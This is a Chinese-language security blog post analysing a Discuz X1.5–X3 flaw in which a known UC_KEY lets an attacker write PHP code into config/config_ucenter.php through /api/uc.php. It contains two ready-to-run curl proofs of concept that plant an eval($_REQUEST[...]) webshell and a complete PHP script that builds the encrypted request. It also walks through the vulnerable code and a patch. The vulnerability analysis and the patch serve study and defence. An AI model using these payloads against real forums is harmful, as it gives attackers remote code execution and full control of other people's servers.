Discuz X1.5 X2.5 X3 UC_KEY Getshell Write PHPCODE into config/config_ucenter.php Via /api/uc.php Vul

Andrew.Hann發表於2015-03-20
PHPAPI

目錄

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

在Discuz中，uc_key是UC客戶端與服務端通訊的通訊金鑰。因此使用uc_key來fetch shell只能獲取UCenter Client的webshell，即Discuiz！論壇的webshell

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-048137

 
2. 漏洞觸發條件

1. 必須知道UC_KEY，通常在配置檔案裡，或者ucenter的原始(沒有經過修改的)資料庫(應用)中
2. 配置檔案config.inc.php必須可寫

0x1: POC

curl "http://10.1.217.177/discuz/upload/api/uc.php?code=1a09vrjaTITzlGZYe7RHfvEbTx6beEQf4o1lZ1gtsNaH59iWhXbToA4edv5BFoc0t69iiYK0k%2FPv8YhgZ2g" -d "https://sb\');eval(\\$_REQUEST[c]);#"

<?php
 
    $key = 'd0A4qd47Y2F8A8q0o5DcZai3E7n1l4d431obf0Fal6N1h1Bbn5h7ndzdj5w0e872';# uc_key 寫在這裡
    $url = 'http://localhost/discuz/upload/api/uc.php';
    $arg = 'action=updateapps&time='.time(); #拿webshell：http://localhost/discuz/upload/config/config_ucenter.php 密碼：c

    echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"';

    #curl或者用其他工具post提交 

    function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) 
    {

        $ckey_length = 4;
        $key = md5($key);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);

        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);

        $result = '';
        $box = range(0, 255);

        $rndkey = array();
        for($i = 0; $i <= 255; $i++) 
        {
            $rndkey[$i] = ord($cryptkey[$i % $key_length]); 
        }
  
        for($j = $i = 0; $i < 256; $i++) 
        { 
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp; 
        }

        for($a = $j = $i = 0; $i < $string_length; $i++) 
        { 
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }

        if($operation == 'DECODE') 
        { 
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) 
            { 
                return substr($result, 26); 
            } 
            else 
            { 
                return ''; 
            } 
        } 
        else 
        { 
            return $keyc.str_replace('=', '', base64_encode($result)); 
        } 
    } 
?>

0x2: POC2

curl "http://127.0.0.1:8080/extensions/ucenter/api/uc.php?code=e139ylLunDNWWxMq92dSnChgJx5sLyx30MdgX7YkcUVAkyxJplcnrcb85BmYeYpFXXguNEn5GvQ9MxdMmRM" -d "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><root><item id=\"UC_API\">https://zz');eval(\$_REQUEST[zz]);//</item></root>"

Shell地址

http://127.0.0.1:8080/extensions/ucenter/config.inc.php zz

Relevant Link:

http://faq.comsenz.com/viewnews-391
http://0day5.com/archives/1140
http://www.waitalone.cn/discuz-uc_key-getshell.html
http://www.sqlmap.cc/post-134.html


3. 漏洞影響範圍
4. 漏洞程式碼分析

/api/uc.php

function updateapps($get, $post) 
{
    global $_G;

    if(!API_UPDATEAPPS) 
    {
        return API_RETURN_FORBIDDEN;
    }

    $UC_API = '';
    if($post['UC_API']) 
    {
        $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
        unset($post['UC_API']);
    }

    $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php';
    $fp = fopen($cachefile, 'w');
    $s = "<?php\r\n";
    $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
    fwrite($fp, $s);
    fclose($fp);

    if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php')) 
    {
        //Discuz x系列的新增了個正則 所以加個 http://、https://
        if(preg_match('/^https?:\/\//is', $UC_API)) 
        {
            $configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));
            $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
            /*
            這行程式碼是漏洞的關鍵
            1. 第一次提交: \');phpinfo();
            /config/config_ucenter.php裡的define那句就變成了: define('UC_API','\');phpinfo();');
        
            2. 第二次再提交
            非貪婪匹配會匹配到: define('UC_API','\');
            phpinfo();就留下來了

            完成二次注入
            */
            $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);
            //$configfile = preg_replace("/define('UC_API',s*'.*?');/i", "define('UC_API', '$UC_API');", $configfile);
            if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) 
            {
                @fwrite($fp, trim($configfile));
                @fclose($fp);
            }
        }
    }
    return API_RETURN_SUCCEED;
}

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-048137


5. 防禦方法

如果說class_core.php是執行初始化的工作，或者說宣告必要的內容，那麼這裡的C::app()->init()就是把基本上需要的內容都獲取到，例如資料庫連線，後臺設定的內容，使用者資訊，session資訊等等

/api/uc.php

if(!defined('IN_UC')) 
{
    require_once '../source/class/class_core.php';

    //初始化檢測
    if (method_exists("C", "app")) 
    {
        $discuz = C::app();
        $discuz->init(); 
    } 

    require DISCUZ_ROOT.'./config/config_ucenter.php'; 

    $get = $post = array();

    $code = @$_GET['code'];
    parse_str(authcode($code, 'DECODE', UC_KEY), $get); 
     

    if(time() - $get['time'] > 3600) {
        exit('Authracation has expiried');
    }
    if(empty($get)) {
        exit('Invalid Request');
    }

    include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php';
    $post = xml_unserialize(file_get_contents('php://input')); 
     

    if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) 
    {
        $uc_note = new uc_note();
        echo $uc_note->$get['action']($get, $post);
        exit();
    } 
    else 
    {
        exit(API_RETURN_FAILED);
    }
} 
else 
{
    exit;
}

繼續跟進$discuz->init(); 防禦邏輯在\source\class\discuz\discuz_application.php中

private function _get_script_url() 
{
    if(!isset($this->var['PHP_SELF']))
    {
        $scriptName = basename($_SERVER['SCRIPT_FILENAME']);
        if(basename($_SERVER['SCRIPT_NAME']) === $scriptName) 
        {
            $this->var['PHP_SELF'] = $_SERVER['SCRIPT_NAME'];
        } 
        else if(basename($_SERVER['PHP_SELF']) === $scriptName) 
        {
            $this->var['PHP_SELF'] = $_SERVER['PHP_SELF'];
        } 
        else if(isset($_SERVER['ORIG_SCRIPT_NAME']) && basename($_SERVER['ORIG_SCRIPT_NAME']) === $scriptName) 
        {
            $this->var['PHP_SELF'] = $_SERVER['ORIG_SCRIPT_NAME'];
        } 
        else if(($pos = strpos($_SERVER['PHP_SELF'],'/'.$scriptName)) !== false) 
        {
            $this->var['PHP_SELF'] = substr($_SERVER['SCRIPT_NAME'],0,$pos).'/'.$scriptName;
        } 
        else if(isset($_SERVER['DOCUMENT_ROOT']) && strpos($_SERVER['SCRIPT_FILENAME'],$_SERVER['DOCUMENT_ROOT']) === 0) 
        {
            $this->var['PHP_SELF'] = str_replace('\\','/',str_replace($_SERVER['DOCUMENT_ROOT'],'',$_SERVER['SCRIPT_FILENAME']));
            $this->var['PHP_SELF'][0] != '/' && $this->var['PHP_SELF'] = '/'.$this->var['PHP_SELF'];
        } 
        else 
        {
            system_error('request_tainting');
        }
    }
    return $this->var['PHP_SELF'];
}

private function _init_input() 
{
    if (isset($_GET['GLOBALS']) ||isset($_POST['GLOBALS']) ||  isset($_COOKIE['GLOBALS']) || isset($_FILES['GLOBALS'])) {
        system_error('request_tainting');
    }

    if(MAGIC_QUOTES_GPC) {
        $_GET = dstripslashes($_GET);
        $_POST = dstripslashes($_POST);
        $_COOKIE = dstripslashes($_COOKIE);
    }

    $prelength = strlen($this->config['cookie']['cookiepre']);
    foreach($_COOKIE as $key => $val) {
        if(substr($key, 0, $prelength) == $this->config['cookie']['cookiepre']) {
            $this->var['cookie'][substr($key, $prelength)] = $val;
        }
    }


    if($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_POST)) {
        $_GET = array_merge($_GET, $_POST);
    }

    if(isset($_GET['page'])) {
        $_GET['page'] = rawurlencode($_GET['page']);
    }

    if(!(!empty($_GET['handlekey']) && preg_match('/^\w+$/', $_GET['handlekey']))) {
        unset($_GET['handlekey']);
    }

    if(!empty($this->var['config']['input']['compatible'])) {
        foreach($_GET as $k => $v) {
            $this->var['gp_'.$k] = daddslashes($v);
        }
    }

    $this->var['mod'] = empty($_GET['mod']) ? '' : dhtmlspecialchars($_GET['mod']);
    $this->var['inajax'] = empty($_GET['inajax']) ? 0 : (empty($this->var['config']['output']['ajaxvalidate']) ? 1 : ($_SERVER['REQUEST_METHOD'] == 'GET' && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' || $_SERVER['REQUEST_METHOD'] == 'POST' ? 1 : 0));
    $this->var['page'] = empty($_GET['page']) ? 1 : max(1, intval($_GET['page']));
    $this->var['sid'] = $this->var['cookie']['sid'] = isset($this->var['cookie']['sid']) ? dhtmlspecialchars($this->var['cookie']['sid']) : '';

    if(empty($this->var['cookie']['saltkey'])) {
        $this->var['cookie']['saltkey'] = random(8);
        dsetcookie('saltkey', $this->var['cookie']['saltkey'], 86400 * 30, 1, 1);
    }
    $this->var['authkey'] = md5($this->var['config']['security']['authkey'].$this->var['cookie']['saltkey']);

}

/api/uc.php

function updateapps($get, $post) {  /* */ if($post['UC_API']) { $post['UC_API'] = addslashes($post['UC_API']); } /**/
        global $_G;

        if(!API_UPDATEAPPS) {
            return API_RETURN_FORBIDDEN;
        }

        $UC_API = '';
        if($post['UC_API']) { 
            $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
            unset($post['UC_API']);
        }

        $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php';
        $fp = fopen($cachefile, 'w');
        $s = "<?php\r\n";
        $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
        fwrite($fp, $s);
        fclose($fp);

        if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php')) {
            if(preg_match('/^https?:\/\//is', $UC_API)) {
                $configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));
                $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
                $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);
                if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {
                    @fwrite($fp, trim($configfile));
                    @fclose($fp);
                }
            }
        }
        return API_RETURN_SUCCEED;
    }

Relevant Link:

http://blog.csdn.net/jesson002/article/details/11166827


6. 攻防思考

Relevant Link:

http://www.oldjun.com/blog/index.php/archives/59/
http://www.sqlmap.cc/post-17.html
http://www.oldjun.com/blog/index.php/archives/76/

 

Copyright (c) 2014 LittleHann All rights reserved

 

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